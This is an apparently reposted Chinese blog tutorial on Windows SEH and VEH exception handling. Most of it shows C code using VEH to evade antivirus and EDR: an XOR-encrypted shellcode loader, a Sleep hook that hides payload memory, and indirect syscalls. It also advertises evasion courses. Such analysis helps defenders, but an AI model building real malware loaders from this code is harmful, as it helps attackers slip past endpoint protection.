从安全角度看 SEH 和 VEH

从安全角度看 SEH 和 VEH

异常处理程序是处理程序中不可预见的错误的基本方法之一

  • https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/

SEH——结构化异常处理程序

就其工作方式而言，异常处理程序与其他处理程序相比相当基础，有一个 try 块用于包装不安全代码，还有一个 except 块用于在生成特定异常时进行处理。

在下面的代码中示例中，可以通过将 0 作为第二个输入来生成异常，因为除以零是系统生成的异常。这被包装在try块中，过滤器代码会检查这是什么类型的异常，在这种情况下，如果是，EXCEPTION_INT_DIVIDE_BY_ZERO将继续处理包装在except块中的异常。

int main()
{__try{int inp1 = 0, inp2 = 0;printf("第一个输入: ");scanf_s("%d", &inp1);printf("第二个输入: ");scanf_s("%d", &inp2);int result = inp1 / inp2;printf("结果: %d", result);}__except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH){printf("触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n");}return 0;
}

从编译时开始。编译器生成有关异常的所有必要信息，异常类型，过滤器的位置和处理它的最终代码等，最后将它们内嵌到PE文件的异常框架中

VEH——向量异常处理程序

向量异常处理是结构化异常处理的扩展，这些处理程序使用回调函数机制工作。每当发生异常时，就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler在程序中的任何位置注册回调。

需要注意的是，VEH 异常处理程序是全局注册的，并不与单个函数或单个堆栈框架绑定。由于向后兼容，系统首先调用所有 VEH 处理程序，如果所有处理程序均未执行该处理程序，则将其传递给 SEH。此外，VEH 以循环链接列表的形式实现。

PVOID AddVectoredExceptionHandler(
ULONG                       First,
PVECTORED_EXCEPTION_HANDLER Handler
);

winAPI 有两个参数，

  • 第一个参数定义处理函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处理程序。

  • 第二个参数是要注册的回调函数的指针。

回调函数定义如下

PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)

第一个参数中指向结构的指针定义如下

typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT         ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

该结构包含两个主要成员：

结构体中的第一个指针指向结构体EXCEPTION_RECORD 里面包含定义的异常的详细信息

ExceptionRecord定义如下:

typedef struct _EXCEPTION_RECORD {
DWORD                   ExceptionCode;
DWORD                   ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID                   ExceptionAddress;
DWORD                   NumberParameters;
ULONG_PTR               ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

第一个元素是最常用的，它包含产生了什么类型的异常，例如STATUS_INTEGER_DIVISION_BY_ZERO。

第二个指针指向结构CONTEXT，其中包含异常发生时CPU上下文的所有细节。这个结构非常重要，因为它可以允许读取和写回数据，一旦执行恢复，这些数据将直接在CPU上应用。这是因为当异常处理程序完成其执行时，系统将根据返回值继续搜索异常或继续执行进程。

当系统继续执行进程时，它调用RtlRestoreContext winAPI来恢复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的，安全产品通常不会检测到这种CPU状态覆盖。

VEH 的使用非常简单：

注册一个名为VEHHandler()的处理程序，它将成为VEH异常列表中的全局处理程序。这个处理程序负责检查发生的异常是否是想要的异常。

LONG WINAPI VEHHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {printf("触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n");}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler);int inp1 = 0, inp2 = 0;printf("第一个输入: ");scanf_s("%d", &inp1);printf("第二个输入: ");scanf_s("%d", &inp2);int result = inp1 / inp2;printf("结果: %d", result);RemoveVectoredExceptionHandler(h1);return 0;
}

与SEH不同，VEH可以被认为是一种运行时机制，因为处理程序是在运行时过程中的任何地方注册和删除的。

异常处理技术在绕过防护机制中的应用

执行payload

由于可以访问 context 结构，所以可以直接修改 RIP 寄存器的内容以指向想要的任何位置，这意味着可以进行间接调用。

void myFunction() {
//payload..........printf("[*] myFunction() Called\n");
}LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {ULONG64 Offset = 0x1000;HMODULE BaseAddress = GetModuleHandleA(NULL);printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress);ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset;printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress);ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress;}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, testHandler);int inp1 = 0, inp2 = 0;int result = inp1 / inp2;RemoveVectoredExceptionHandler(h1);return 0;
}
运行时代码解密+规避内存扫描

使用异常EXCEPTION_ACCESS_VIOLATION，该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中，全局变量不是可执行内存区域，所以可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。

#define XOR_KEY 0x66char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................";LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {printf("[*] 进入异常处理\n");DWORD flOldProtect;for (int i = 0; i < sizeof(enc_shellcode); i++) {encode_shellcode[i] ^= XOR_KEY;}BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect);if (res == TRUE) {printf("[*] 执行权限改为 PAGE_EXECUTE\n");}}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, testHandler);(*(void (*)()) & encode_shellcode)();RemoveVectoredExceptionHandler(h1);return 0;
}

然后再Hook Sleep函数，将功能模块的内存属性改为不可执行，便可规避后续的内存扫描。

static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewCustomSleep(DWORD dwMilliseconds) {if (CustomFlag){VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);CustomFlag = false;}printf("custom sleep time:%d\n", dwMilliseconds);unhookCustomSleep();OrigSleep(dwMilliseconds);hookCustomSleep();
}
void hookCustomSleep() {DWORD dwOldProtect = NULL;BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 };RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset));VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}
void unhookCustomSleep() {DWORD dwOldProtect = NULL;VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}

运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘，可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现，读者可以尝试

间接系统调用

与上面提到的可能性类似，也可以修改RIP，用ntdll.dll库中的地址覆盖它，以执行间接的系统调用。

系统调用由寄存器 RAX 控制，其中包含称为 SSN（系统服务编号）

HOOK技术是AV/EDR常用的检测机制，尽管使用syscall可以绕过检测，但这导致了另一种可能的检测机制。在自己的程序中使用系统调用称为直接系统调用技术，而从其他进程(如库本身)调用系统调用称为间接系统调用技术。

当在自己的程序中使用系统调用时，通常可以通过简单的签名被检测到（通过检查系统调用的来源），系统调用的返回地址应该是通过合法的源(如ntdll.dll本身)发生的，但是如果不是这样，它就会发出一个主要的危险信号。这是可以避免的，可以使用向量异常处理进行间接系统调用，这种技术提供了一个看起来非常合法的调用堆栈。这有助于大大降低被发现的可能性

最简单的方法是利用异常STATUS_ACCESS_VIOLATION，该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中，在本例中是0x18，它对应于系统调用ntallocatvirtualmemory，然后将其转换为函数并调用它。本质上，它调用地址0x18的函数，这显然不是一个有效的地址。这反过来会生成STATUS_ACCESS_VIOLATION异常。现在要将参数传递给函数，只需像调用其他函数一样调用存储SSN的变量，上下文将包含传递的参数。

一旦生成异常，就可以模拟系统调用指令，就像在ntdll.dll中找到它一样，并将控制流更改为dll中的系统调用地址。

typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (IN HANDLE               ProcessHandle,IN OUT PVOID*           BaseAddress,IN ULONG               ZeroBits,IN OUT PULONG           RegionSize,IN ULONG               AllocationType,IN ULONG               Protect);ULONG_PTR FindSyscallAddr() {FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");BYTE* ptr_sysaddr = (BYTE*)(fnDrawText);BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 };int cnt_sig = 0, cnt_fn = 0;while (TRUE) {if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) {cnt_fn++;cnt_sig++;if (cnt_sig == sizeof(sig_syscall)) {ptr_sysaddr += cnt_fn - sizeof(sig_syscall);break;}}else {cnt_fn = cnt_fn - cnt_sig + 1;cnt_sig = 0;}}return (ULONG_PTR)ptr_sysaddr;
}LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;DWORD64 ssn = ExceptionInfo->ContextRecord->Rip;printf("[*] Syscall Number: %#x\n", (INT32)ssn);ExceptionInfo->ContextRecord->Rax = ssn;ULONG_PTR SyscallAddr = FindSyscallAddr();ExceptionInfo->ContextRecord->Rip = SyscallAddr;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, testHandler);pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18;PVOID retAddr = NULL;ULONG size = 0x1000;NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (retAddr == NULL) {printf("[!] NtAllocateVirtualMemory Failed\n");}else {printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr);}RemoveVectoredExceptionHandler(h1);return 0;
}

大家伙，如果想学习更多的知识，可以看我们的论坛：
 哔哩哔哩有免杀基础课程，搜索账号：老鑫安全培训，老鑫安全二进制   

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/890860.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

nexus docker安装

nexus docker安装

#nexus docker 安装 docker pull sonatype/nexus3 mkdir -p /data/nexus-data docker run -itd -p 8081:8081 --privilegedtrue --name nexus3 \ -v /data/nexus-data:/var/nexus-data --restartalways docker.io/sonatype/nexus3 #访问 http://192.168.31.109:8081/ 用户名&am…
阅读更多...
华为电源工程师面试题

华为电源工程师面试题

电源工程师面试题涵盖硬件设计、仿真和验证、问题解决、元件选择、热设计和功耗分析、软件配合以及专业知识等多个方面。以下是一些可能的面试题及其参考回答思路： 一、硬件设计和架构 请解释一下LLC谐振变换器的工作原理以及它的优势。 回答思路：LLC谐振变换器是一种高效、…
阅读更多...
Pinia最简单使用(vite+vue3)

Pinia最简单使用(vite+vue3)

文章目录 创建项目安装Pinia包main.js注册Pinia在src下创建store/store.js文件,放入以下内容在app.vue中的使用(在其他组件也一样的) 创建项目 npm create vitelatest my-vue-app选vue 选JavaScript cd my-vue-app npm install npm run dev安装Pinia包 npm install piniamain…
阅读更多...
Spark生态圈

Spark生态圈

Spark 主要用于替代Hadoop中的 MapReduce 计算模型。存储依然可以使用 HDFS&#xff0c;但是中间结果可以存放在内存中&#xff1b;调度可以使用 Spark 内置的&#xff0c;也可以使用更成熟的调度系统 YARN 等。 Spark有完善的生态圈&#xff1a; Spark Core&#xff1a;实现了…
阅读更多...
DP之背包基础

DP之背包基础

目录 DP简介 01背包问题 采药(01背包例题) 完全背包 疯狂的采药(完全背包例题) 背包变式 装箱问题 砝码称重 质数拆分 优化思考 DP简介 全称Dynamic Programming即动态规划 DP算法是解决多阶段决策过程最优化问题的一种常用方法。 多阶段决策过程是指这样一类特…
阅读更多...
vue最新源码探索分析

vue最新源码探索分析

我在github上fork了最新版本vue3.5版本的源码并做了大幅删除&#xff0c;保留最核心的代码&#xff0c;有兴趣的可以看看&#xff0c;欢迎大家提出PR 仓库地址 https://github.com/greatanimalion/core 本项目vue版本3.5.13 为了方便查看与分析&#xff0c;减少心智负担 已…
阅读更多...
边缘计算收益稳定

边缘计算收益稳定

要使自己的PCDN&#xff08;Personal Content Delivery Network&#xff0c;个人内容分发网络&#xff09;收益更稳定&#xff0c;可以从以下几个方面进行努力&#xff1a; 一、选择合适的PCDN平台 平台稳定性&#xff1a;选择技术成熟、稳定性高的PCDN平台&#xff0c;确保内…
阅读更多...
CSS系列（39）-- Shapes详解

CSS系列（39）-- Shapes详解

前端技术探索系列&#xff1a;CSS Shapes详解 ✨ 致读者&#xff1a;探索形状布局的艺术 &#x1f44b; 前端开发者们&#xff0c; 今天我们将深入探讨 CSS Shapes&#xff0c;这个强大的形状布局特性。 基础形状 &#x1f680; 圆形与椭圆 /* 基础圆形 */ .circle {widt…
阅读更多...
CSS---实现盒元素div内input/textarea的focus状态时给父元素加属性！

CSS---实现盒元素div内input/textarea的focus状态时给父元素加属性！

注意兼容性&#xff0c;低版本浏览器无效 要实现当 textarea 文本框获得焦点时&#xff0c;自动给其父元素添加类名或样式&#xff0c;您可以使用 CSS 的 :focus-within 伪类选择器。这个选择器会在元素本身或其任何子元素获得焦点时应用样式。 示例代码 假设您有以下 HTML 结…
阅读更多...
2011-2020年各省城镇职工基本医疗保险年末参保人数数据

2011-2020年各省城镇职工基本医疗保险年末参保人数数据

2011-2020年各省城镇职工基本医疗保险年末参保人数数据 1、时间&#xff1a;2011-2020年 2、来源&#xff1a;国家统计局 3、指标&#xff1a;省份、时间、城镇职工基本医疗保险年末参保人数 4、范围&#xff1a;31省 5、指标解释&#xff1a;参保人数指报告期末按国家有关…
阅读更多...
在线excel编辑（luckysheet）

在线excel编辑（luckysheet）

项目地址&#xff1a;Luckysheet: &#x1f680;Luckysheet &#xff0c;一款纯前端类似excel的在线表格&#xff0c;功能强大、配置简单、完全开源。 可以下载项目使用npm安装运行&#xff0c;也可以用cdn 加载excel文件&#xff08;使用luckyexcel&#xff09;&#xff1a; …
阅读更多...
Bert中文文本分类

Bert中文文本分类

这是一个经典的文本分类问题&#xff0c;使用google的预训练模型BERT中文版bert-base-chinese来做中文文本分类。可以先在Huggingface上下载预训练模型备用。https://huggingface.co/google-bert/bert-base-chinese/tree/main 我使用的训练环境是 pip install torch2.0.0; pi…
阅读更多...
NLP工具

NLP工具

1、用python提取PDF中各类文本内容的方法 2、文本分块(Chunking)方法&#xff0c;直接影响LLM应用效果 3、
阅读更多...
【无标题】学生信息管理系统界面

【无标题】学生信息管理系统界面

网页是vue框架&#xff0c;后端直接python写的没使用框架
阅读更多...
macos安装maven以及.bash_profile文件优化

macos安装maven以及.bash_profile文件优化

文章目录 下载和安装maven本地仓库配置国内镜像仓库配置.bash_profile文件优化 下载和安装maven maven下载地址 存放在/Library/Java/env/maven目录 本地仓库配置 在maven-3.9.9目录下创建maven-repo目录作为本地文件仓库打开setting配置文件 在setting标签下&#xff0c;添…
阅读更多...
提示词工程教程（七）：小样本和上下文学习

提示词工程教程（七）：小样本和上下文学习

概述 本教程使用 OpenAI 的 GPT 模型和 LangChain 库探索小样本学习和上下文学习的前沿技术。这些方法使 AI 模型能够使用最少的示例执行复杂的任务&#xff0c;从而彻底改变了我们处理机器学习问题的方式。 主题 传统机器学习通常需要大量数据集进行训练&#xff0c;这非常耗…
阅读更多...
用Excel表格在线发布期末考试成绩单

用Excel表格在线发布期末考试成绩单

每到期末&#xff0c;发布学生的期末考试成绩单便是老师们的一项重要任务。以往&#xff0c;传统的纸质成绩单分发效率低还易出错&#xff0c;而借助 Excel 表格在线发布&#xff0c;则开启了全新高效模式。 老师们先是精心整理各科成绩&#xff0c;录入精准无误的分数到 Excel…
阅读更多...
WPF 绘制过顶点的圆滑曲线（样条，贝塞尔）

WPF 绘制过顶点的圆滑曲线（样条，贝塞尔）

项目中要用到样条曲线&#xff0c;必须过顶点&#xff0c;圆滑后还不能太走样&#xff0c;捣鼓一番&#xff0c;发现里面颇有玄机&#xff0c;于是把我多方抄来改造的方法发出来&#xff0c;方便新手&#xff1a; 如上图&#xff0c;看代码吧&#xff1a; -------------------…
阅读更多...
python监控数据处理应用服务Socket心跳解决方案

python监控数据处理应用服务Socket心跳解决方案

1. 概述 从网页、手机App上抓取数据应用服务&#xff0c;涉及到多个系统集成协同工作&#xff0c;依赖工具较多。例如&#xff0c;使用Frida进行代码注入和动态分析&#xff0c;以实现对网络通信的监控和数据捕获。在这样的集成环境中&#xff0c;手机模拟器、手机中应用、消息…
阅读更多...
商品线上个性定制，并实时预览3D定制效果，是如何实现的？

商品线上个性定制，并实时预览3D定制效果，是如何实现的？

商品线上3D个性化定制的实现涉及多个环节和技术&#xff0c;以下是详细的解释&#xff1a; 一、实现流程 产品3D建模&#xff1a; 是实现3D可视化定制的前提&#xff0c;需要对产品进行三维建模。可通过三维扫描仪或建模师进行建模&#xff0c;将产品的外观、结构、材质等细…
阅读更多...
最新文章

Copyright @ 2022~2023